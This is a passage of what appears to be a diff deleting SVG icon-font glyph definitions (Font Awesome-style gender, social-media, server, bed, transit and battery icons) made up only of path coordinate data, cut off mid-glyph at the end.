-d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-382 -383q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5
-q203 0 359 -126l382 382h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
-    <glyph glyph-name="_512" unicode="&#xf223;" horiz-adv-x="1280" 
-d="M830 1220q145 -72 233.5 -210.5t88.5 -305.5q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5
-t-147.5 384.5q0 167 88.5 305.5t233.5 210.5q-165 96 -228 273q-6 16 3.5 29.5t26.5 13.5h69q21 0 29 -20q44 -106 140 -171t214 -65t214 65t140 171q8 20 37 20h61q17 0 26.5 -13.5t3.5 -29.5q-63 -177 -228 -273zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
-t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
-    <glyph glyph-name="_513" unicode="&#xf224;" 
-d="M1024 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64
-q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-149 16 -270.5 103t-186.5 223.5t-53 291.5q16 204 160 353.5t347 172.5q118 14 228 -19t198 -103l255 254h-134q-14 0 -23 9t-9 23v64zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
-t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
-    <glyph glyph-name="_514" unicode="&#xf225;" horiz-adv-x="1792" 
-d="M1280 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64
-q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5t-147.5 384.5q0 201 126 359l-52 53l-101 -111q-9 -10 -22 -10.5t-23 7.5l-48 44q-10 8 -10.5 21.5t8.5 23.5l105 115l-111 112v-134q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9
-t-9 23v288q0 26 19 45t45 19h288q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-133l106 -107l86 94q9 10 22 10.5t23 -7.5l48 -44q10 -8 10.5 -21.5t-8.5 -23.5l-90 -99l57 -56q158 126 359 126t359 -126l255 254h-134q-14 0 -23 9t-9 23v64zM832 256q185 0 316.5 131.5
-t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
-    <glyph glyph-name="_515" unicode="&#xf226;" horiz-adv-x="1792" 
-d="M1790 1007q12 -155 -52.5 -292t-186 -224t-271.5 -103v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-512v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23
-t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292q17 206 164.5 356.5t352.5 169.5q206 21 377 -94q171 115 377 94q205 -19 352.5 -169.5t164.5 -356.5zM896 647q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM576 512q115 0 218 57q-154 165 -154 391
-q0 224 154 391q-103 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5zM1152 128v260q-137 15 -256 94q-119 -79 -256 -94v-260h512zM1216 512q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5q-115 0 -218 -57q154 -167 154 -391
-q0 -226 -154 -391q103 -57 218 -57z" />
-    <glyph glyph-name="_516" unicode="&#xf227;" horiz-adv-x="1920" 
-d="M1536 1120q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-31 -182 -166 -312t-318 -156q-210 -29 -384.5 80t-241.5 300q-117 6 -221 57.5t-177.5 133t-113.5 192.5t-32 230
-q9 135 78 252t182 191.5t248 89.5q118 14 227.5 -19t198.5 -103l255 254h-134q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q59 -74 93 -169q182 -9 328 -124l255 254h-134q-14 0 -23 9
-t-9 23v64zM1024 704q0 20 -4 58q-162 -25 -271 -150t-109 -292q0 -20 4 -58q162 25 271 150t109 292zM128 704q0 -168 111 -294t276 -149q-3 29 -3 59q0 210 135 369.5t338 196.5q-53 120 -163.5 193t-245.5 73q-185 0 -316.5 -131.5t-131.5 -316.5zM1088 -128
-q185 0 316.5 131.5t131.5 316.5q0 168 -111 294t-276 149q3 -28 3 -59q0 -210 -135 -369.5t-338 -196.5q53 -120 163.5 -193t245.5 -73z" />
-    <glyph glyph-name="_517" unicode="&#xf228;" horiz-adv-x="2048" 
-d="M1664 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-32 -180 -164.5 -310t-313.5 -157q-223 -34 -409 90q-117 -78 -256 -93v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23
-t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-155 17 -279.5 109.5t-187 237.5t-39.5 307q25 187 159.5 322.5t320.5 164.5q224 34 410 -90q146 97 320 97q201 0 359 -126l255 254h-134q-14 0 -23 9
-t-9 23v64zM896 391q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM128 704q0 -185 131.5 -316.5t316.5 -131.5q117 0 218 57q-154 167 -154 391t154 391q-101 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5zM1216 256q185 0 316.5 131.5t131.5 316.5
-t-131.5 316.5t-316.5 131.5q-117 0 -218 -57q154 -167 154 -391t-154 -391q101 -57 218 -57z" />
-    <glyph glyph-name="_518" unicode="&#xf229;" 
-d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-213 -214l140 -140q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-140 141l-78 -79q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5
-t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5q203 0 359 -126l78 78l-172 172q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l172 -172l213 213h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
-t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
-    <glyph glyph-name="_519" unicode="&#xf22a;" horiz-adv-x="1280" 
-d="M640 892q217 -24 364.5 -187.5t147.5 -384.5q0 -167 -87 -306t-236 -212t-319 -54q-133 15 -245.5 88t-182 188t-80.5 249q-12 155 52.5 292t186 224t271.5 103v132h-160q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h160v165l-92 -92q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22
-t9 23l202 201q19 19 45 19t45 -19l202 -201q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-92 92v-165h160q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-160v-132zM576 -128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5
-t131.5 -316.5t316.5 -131.5z" />
-    <glyph glyph-name="_520" unicode="&#xf22b;" horiz-adv-x="2048" 
-d="M1901 621q19 -19 19 -45t-19 -45l-294 -294q-9 -10 -22.5 -10t-22.5 10l-45 45q-10 9 -10 22.5t10 22.5l185 185h-294v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-132q-24 -217 -187.5 -364.5t-384.5 -147.5q-167 0 -306 87t-212 236t-54 319q15 133 88 245.5
-t188 182t249 80.5q155 12 292 -52.5t224 -186t103 -271.5h132v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224h294l-185 185q-10 9 -10 22.5t10 22.5l45 45q9 10 22.5 10t22.5 -10zM576 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5
-t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
-    <glyph glyph-name="_521" unicode="&#xf22c;" horiz-adv-x="1280" 
-d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-612q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v612q-217 24 -364.5 187.5t-147.5 384.5q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM576 512q185 0 316.5 131.5
-t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
-    <glyph glyph-name="_522" unicode="&#xf22d;" horiz-adv-x="1280" 
-d="M1024 576q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1152 576q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123
-t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5z" />
-    <glyph glyph-name="_523" unicode="&#xf22e;" horiz-adv-x="1792" 
- />
-    <glyph glyph-name="_524" unicode="&#xf22f;" horiz-adv-x="1792" 
- />
-    <glyph glyph-name="_525" unicode="&#xf230;" 
-d="M1451 1408q35 0 60 -25t25 -60v-1366q0 -35 -25 -60t-60 -25h-391v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-735q-35 0 -60 25t-25 60v1366q0 35 25 60t60 25h1366z" />
-    <glyph glyph-name="_526" unicode="&#xf231;" horiz-adv-x="1280" 
-d="M0 939q0 108 37.5 203.5t103.5 166.5t152 123t185 78t202 26q158 0 294 -66.5t221 -193.5t85 -287q0 -96 -19 -188t-60 -177t-100 -149.5t-145 -103t-189 -38.5q-68 0 -135 32t-96 88q-10 -39 -28 -112.5t-23.5 -95t-20.5 -71t-26 -71t-32 -62.5t-46 -77.5t-62 -86.5
-l-14 -5l-9 10q-15 157 -15 188q0 92 21.5 206.5t66.5 287.5t52 203q-32 65 -32 169q0 83 52 156t132 73q61 0 95 -40.5t34 -102.5q0 -66 -44 -191t-44 -187q0 -63 45 -104.5t109 -41.5q55 0 102 25t78.5 68t56 95t38 110.5t20 111t6.5 99.5q0 173 -109.5 269.5t-285.5 96.5
-q-200 0 -334 -129.5t-134 -328.5q0 -44 12.5 -85t27 -65t27 -45.5t12.5 -30.5q0 -28 -15 -73t-37 -45q-2 0 -17 3q-51 15 -90.5 56t-61 94.5t-32.5 108t-11 106.5z" />
-    <glyph glyph-name="_527" unicode="&#xf232;" 
-d="M985 562q13 0 97.5 -44t89.5 -53q2 -5 2 -15q0 -33 -17 -76q-16 -39 -71 -65.5t-102 -26.5q-57 0 -190 62q-98 45 -170 118t-148 185q-72 107 -71 194v8q3 91 74 158q24 22 52 22q6 0 18 -1.5t19 -1.5q19 0 26.5 -6.5t15.5 -27.5q8 -20 33 -88t25 -75q0 -21 -34.5 -57.5
-t-34.5 -46.5q0 -7 5 -15q34 -73 102 -137q56 -53 151 -101q12 -7 22 -7q15 0 54 48.5t52 48.5zM782 32q127 0 243.5 50t200.5 134t134 200.5t50 243.5t-50 243.5t-134 200.5t-200.5 134t-243.5 50t-243.5 -50t-200.5 -134t-134 -200.5t-50 -243.5q0 -203 120 -368l-79 -233
-l242 77q158 -104 345 -104zM782 1414q153 0 292.5 -60t240.5 -161t161 -240.5t60 -292.5t-60 -292.5t-161 -240.5t-240.5 -161t-292.5 -60q-195 0 -365 94l-417 -134l136 405q-108 178 -108 389q0 153 60 292.5t161 240.5t240.5 161t292.5 60z" />
-    <glyph glyph-name="_528" unicode="&#xf233;" horiz-adv-x="1792" 
-d="M128 128h1024v128h-1024v-128zM128 640h1024v128h-1024v-128zM1696 192q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM128 1152h1024v128h-1024v-128zM1696 704q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1696 1216
-q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1792 384v-384h-1792v384h1792zM1792 896v-384h-1792v384h1792zM1792 1408v-384h-1792v384h1792z" />
-    <glyph glyph-name="_529" unicode="&#xf234;" horiz-adv-x="2048" 
-d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1664 512h352q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-352q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5
-t-9.5 22.5v352h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v352q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5v-352zM928 288q0 -52 38 -90t90 -38h256v-238q-68 -50 -171 -50h-874q-121 0 -194 69t-73 190q0 53 3.5 103.5t14 109t26.5 108.5
-t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q79 -61 154.5 -91.5t164.5 -30.5t164.5 30.5t154.5 91.5q20 17 39 17q132 0 217 -96h-223q-52 0 -90 -38t-38 -90v-192z" />
-    <glyph glyph-name="_530" unicode="&#xf235;" horiz-adv-x="2048" 
-d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1781 320l249 -249q9 -9 9 -23q0 -13 -9 -22l-136 -136q-9 -9 -22 -9q-14 0 -23 9l-249 249l-249 -249q-9 -9 -23 -9q-13 0 -22 9l-136 136
-q-9 9 -9 22q0 14 9 23l249 249l-249 249q-9 9 -9 23q0 13 9 22l136 136q9 9 22 9q14 0 23 -9l249 -249l249 249q9 9 23 9q13 0 22 -9l136 -136q9 -9 9 -22q0 -14 -9 -23zM1283 320l-181 -181q-37 -37 -37 -91q0 -53 37 -90l83 -83q-21 -3 -44 -3h-874q-121 0 -194 69
-t-73 190q0 53 3.5 103.5t14 109t26.5 108.5t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q154 -122 319 -122t319 122q20 17 39 17q28 0 57 -6q-28 -27 -41 -50t-13 -56q0 -54 37 -91z" />
-    <glyph glyph-name="_531" unicode="&#xf236;" horiz-adv-x="2048" 
-d="M256 512h1728q26 0 45 -19t19 -45v-448h-256v256h-1536v-256h-256v1216q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-704zM832 832q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM2048 576v64q0 159 -112.5 271.5t-271.5 112.5h-704
-q-26 0 -45 -19t-19 -45v-384h1152z" />
-    <glyph glyph-name="_532" unicode="&#xf237;" 
-d="M1536 1536l-192 -448h192v-192h-274l-55 -128h329v-192h-411l-357 -832l-357 832h-411v192h329l-55 128h-274v192h192l-192 448h256l323 -768h378l323 768h256zM768 320l108 256h-216z" />
-    <glyph glyph-name="_533" unicode="&#xf238;" 
-d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM768 192q80 0 136 56t56 136t-56 136t-136 56
-t-136 -56t-56 -136t56 -136t136 -56zM1344 768v512h-1152v-512h1152z" />
-    <glyph glyph-name="_534" unicode="&#xf239;" 
-d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM288 224q66 0 113 47t47 113t-47 113t-113 47
-t-113 -47t-47 -113t47 -113t113 -47zM704 768v512h-544v-512h544zM1248 224q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM1408 768v512h-576v-512h576z" />
-    <glyph glyph-name="_535" unicode="&#xf23a;" horiz-adv-x="1792" 
-d="M597 1115v-1173q0 -25 -12.5 -42.5t-36.5 -17.5q-17 0 -33 8l-465 233q-21 10 -35.5 33.5t-14.5 46.5v1140q0 20 10 34t29 14q14 0 44 -15l511 -256q3 -3 3 -5zM661 1014l534 -866l-534 266v600zM1792 996v-1054q0 -25 -14 -40.5t-38 -15.5t-47 13l-441 220zM1789 1116
-q0 -3 -256.5 -419.5t-300.5 -487.5l-390 634l324 527q17 28 52 28q14 0 26 -6l541 -270q4 -2 4 -6z" />
-    <glyph glyph-name="_536" unicode="&#xf23b;" 
-d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1408v-1536h-1536v1536h1536z" />
-    <glyph glyph-name="_537" unicode="&#xf23c;" horiz-adv-x="2296" 
-d="M478 -139q-8 -16 -27 -34.5t-37 -25.5q-25 -9 -51.5 3.5t-28.5 31.5q-1 22 40 55t68 38q23 4 34 -21.5t2 -46.5zM1819 -139q7 -16 26 -34.5t38 -25.5q25 -9 51.5 3.5t27.5 31.5q2 22 -39.5 55t-68.5 38q-22 4 -33 -21.5t-2 -46.5zM1867 -30q13 -27 56.5 -59.5t77.5 -41.5
-q45 -13 82 4.5t37 50.5q0 46 -67.5 100.5t-115.5 59.5q-40 5 -63.5 -37.5t-6.5 -76.5zM428 -30q-13 -27 -56 -59.5t-77 -41.5q-45 -13 -82 4.5t-37 50.5q0 46 67.5 100.5t115.5 59.5q40 5 63 -37.5t6 -76.5zM1158 1094h1q-41 0 -76 -15q27 -8 44 -30.5t17 -49.5
-q0 -35 -27 -60t-65 -25q-52 0 -80 43q-5 -23 -5 -42q0 -74 56 -126.5t135 -52.5q80 0 136 52.5t56 126.5t-56 126.5t-136 52.5zM1462 1312q-99 109 -220.5 131.5t-245.5 -44.5q27 60 82.5 96.5t118 39.5t121.5 -17t99.5 -74.5t44.5 -131.5zM2212 73q8 -11 -11 -42
-q7 -23 7 -40q1 -56 -44.5 -112.5t-109.5 -91.5t-118 -37q-48 -2 -92 21.5t-66 65.5q-687 -25 -1259 0q-23 -41 -66.5 -65t-92.5 -22q-86 3 -179.5 80.5t-92.5 160.5q2 22 7 40q-19 31 -11 42q6 10 31 1q14 22 41 51q-7 29 2 38q11 10 39 -4q29 20 59 34q0 29 13 37
-q23 12 51 -16q35 5 61 -2q18 -4 38 -19v73q-11 0 -18 2q-53 10 -97 44.5t-55 87.5q-9 38 0 81q15 62 93 95q2 17 19 35.5t36 23.5t33 -7.5t19 -30.5h13q46 -5 60 -23q3 -3 5 -7q10 1 30.5 3.5t30.5 3.5q-15 11 -30 17q-23 40 -91 43q0 6 1 10q-62 2 -118.5 18.5t-84.5 47.5
-q-32 36 -42.5 92t-2.5 112q16 126 90 179q23 16 52 4.5t32 -40.5q0 -1 1.5 -14t2.5 -21t3 -20t5.5 -19t8.5 -10q27 -14 76 -12q48 46 98 74q-40 4 -162 -14l47 46q61 58 163 111q145 73 282 86q-20 8 -41 15.5t-47 14t-42.5 10.5t-47.5 11t-43 10q595 126 904 -139
-q98 -84 158 -222q85 -10 121 9h1q5 3 8.5 10t5.5 19t3 19.5t3 21.5l1 14q3 28 32 40t52 -5q73 -52 91 -178q7 -57 -3.5 -113t-42.5 -91q-28 -32 -83.5 -48.5t-115.5 -18.5v-10q-71 -2 -95 -43q-14 -5 -31 -17q11 -1 32 -3.5t30 -3.5q1 5 5 8q16 18 60 23h13q5 18 19 30t33 8
-t36 -23t19 -36q79 -32 93 -95q9 -40 1 -81q-12 -53 -56 -88t-97 -44q-10 -2 -17 -2q0 -49 -1 -73q20 15 38 19q26 7 61 2q28 28 51 16q14 -9 14 -37q33 -16 59 -34q27 13 38 4q10 -10 2 -38q28 -30 41 -51q23 8 31 -1zM1937 1025q0 -29 -9 -54q82 -32 112 -132
-q4 37 -9.5 98.5t-41.5 90.5q-20 19 -36 17t-16 -20zM1859 925q35 -42 47.5 -108.5t-0.5 -124.5q67 13 97 45q13 14 18 28q-3 64 -31 114.5t-79 66.5q-15 -15 -52 -21zM1822 921q-30 0 -44 1q42 -115 53 -239q21 0 43 3q16 68 1 135t-53 100zM258 839q30 100 112 132
-q-9 25 -9 54q0 18 -16.5 20t-35.5 -17q-28 -29 -41.5 -90.5t-9.5 -98.5zM294 737q29 -31 97 -45q-13 58 -0.5 124.5t47.5 108.5v0q-37 6 -52 21q-51 -16 -78.5 -66t-31.5 -115q9 -17 18 -28zM471 683q14 124 73 235q-19 -4 -55 -18l-45 -19v1q-46 -89 -20 -196q25 -3 47 -3z
-M1434 644q8 -38 16.5 -108.5t11.5 -89.5q3 -18 9.5 -21.5t23.5 4.5q40 20 62 85.5t23 125.5q-24 2 -146 4zM1152 1285q-116 0 -199 -82.5t-83 -198.5q0 -117 83 -199.5t199 -82.5t199 82.5t83 199.5q0 116 -83 198.5t-199 82.5zM1380 646q-105 2 -211 0v1q-1 -27 2.5 -86
-t13.5 -66q29 -14 93.5 -14.5t95.5 10.5q9 3 11 39t-0.5 69.5t-4.5 46.5zM1112 447q8 4 9.5 48t-0.5 88t-4 63v1q-212 -3 -214 -3q-4 -20 -7 -62t0 -83t14 -46q34 -15 101 -16t101 10zM718 636q-16 -59 4.5 -118.5t77.5 -84.5q15 -8 24 -5t12 21q3 16 8 90t10 103
-q-69 -2 -136 -6zM591 510q3 -23 -34 -36q132 -141 271.5 -240t305.5 -154q172 49 310.5 146t293.5 250q-33 13 -30 34q0 2 0.5 3.5t1.5 3t1 2.5v1v-1q-17 2 -50 5.5t-48 4.5q-26 -90 -82 -132q-51 -38 -82 1q-5 6 -9 14q-7 13 -17 62q-2 -5 -5 -9t-7.5 -7t-8 -5.5t-9.5 -4
-l-10 -2.5t-12 -2l-12 -1.5t-13.5 -1t-13.5 -0.5q-106 -9 -163 11q-4 -17 -10 -26.5t-21 -15t-23 -7t-36 -3.5q-6 -1 -9 -1q-179 -17 -203 40q-2 -63 -56 -54q-47 8 -91 54q-12 13 -20 26q-17 29 -26 65q-58 -6 -87 -10q1 -2 4 -10zM507 -118q3 14 3 30q-17 71 -51 130
-t-73 70q-41 12 -101.5 -14.5t-104.5 -80t-39 -107.5q35 -53 100 -93t119 -42q51 -2 94 28t53 79zM510 53q23 -63 27 -119q195 113 392 174q-98 52 -180.5 120t-179.5 165q-6 -4 -29 -13q0 -1 -1 -4t-1 -5q31 -18 22 -37q-12 -23 -56 -34q-10 -13 -29 -24h-1q-2 -83 1 -150
-q19 -34 35 -73zM579 -113q532 -21 1145 0q-254 147 -428 196q-76 -35 -156 -57q-8 -3 -16 0q-65 21 -129 49q-208 -60 -416 -188h-1v-1q1 0 1 1zM1763 -67q4 54 28 120q14 38 33 71l-1 -1q3 77 3 153q-15 8 -30 25q-42 9 -56 33q-9 20 22 38q-2 4 -2 9q-16 4 -28 12
-q-204 -190 -383 -284q198 -59 414 -176zM2155 -90q5 54 -39 107.5t-104 80t-102 14.5q-38 -11 -72.5 -70.5t-51.5 -129.5q0 -16 3 -30q10 -49 53 -79t94 -28q54 2 119 42t100 93z" />
-    <glyph glyph-name="_538" unicode="&#xf23d;" horiz-adv-x="2304" 
-d="M1524 -25q0 -68 -48 -116t-116 -48t-116.5 48t-48.5 116t48.5 116.5t116.5 48.5t116 -48.5t48 -116.5zM775 -25q0 -68 -48.5 -116t-116.5 -48t-116 48t-48 116t48 116.5t116 48.5t116.5 -48.5t48.5 -116.5zM0 1469q57 -60 110.5 -104.5t121 -82t136 -63t166 -45.5
-t200 -31.5t250 -18.5t304 -9.5t372.5 -2.5q139 0 244.5 -5t181 -16.5t124 -27.5t71 -39.5t24 -51.5t-19.5 -64t-56.5 -76.5t-89.5 -91t-116 -104.5t-139 -119q-185 -157 -286 -247q29 51 76.5 109t94 105.5t94.5 98.5t83 91.5t54 80.5t13 70t-45.5 55.5t-116.5 41t-204 23.5
-t-304 5q-168 -2 -314 6t-256 23t-204.5 41t-159.5 51.5t-122.5 62.5t-91.5 66.5t-68 71.5t-50.5 69.5t-40 68t-36.5 59.5z" />
-    <glyph glyph-name="_539" unicode="&#xf23e;" horiz-adv-x="1792" 
-d="M896 1472q-169 0 -323 -66t-265.5 -177.5t-177.5 -265.5t-66 -323t66 -323t177.5 -265.5t265.5 -177.5t323 -66t323 66t265.5 177.5t177.5 265.5t66 323t-66 323t-177.5 265.5t-265.5 177.5t-323 66zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348
-t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM496 704q16 0 16 -16v-480q0 -16 -16 -16h-32q-16 0 -16 16v480q0 16 16 16h32zM896 640q53 0 90.5 -37.5t37.5 -90.5q0 -35 -17.5 -64t-46.5 -46v-114q0 -14 -9 -23
-t-23 -9h-64q-14 0 -23 9t-9 23v114q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5zM896 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM544 928v-96
-q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 93 65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5v-96q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 146 -103 249t-249 103t-249 -103t-103 -249zM1408 192v512q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-512
-q0 -26 19 -45t45 -19h896q26 0 45 19t19 45z" />
-    <glyph glyph-name="_540" unicode="&#xf240;" horiz-adv-x="2304" 
-d="M1920 1024v-768h-1664v768h1664zM2048 448h128v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288zM2304 832v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113
-v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160q53 0 90.5 -37.5t37.5 -90.5z" />
-    <glyph glyph-name="_541" unicode="&#xf241;" horiz-adv-x="2304" 
-d="M256 256v768h1280v-768h-1280zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
-h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
-    <glyph glyph-name="_542" unicode="&#xf242;" horiz-adv-x="2304" 
-d="M256 256v768h896v-768h-896zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
-h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
-    <glyph glyph-name="_543" unicode="&#xf243;" horiz-adv-x="2304" 
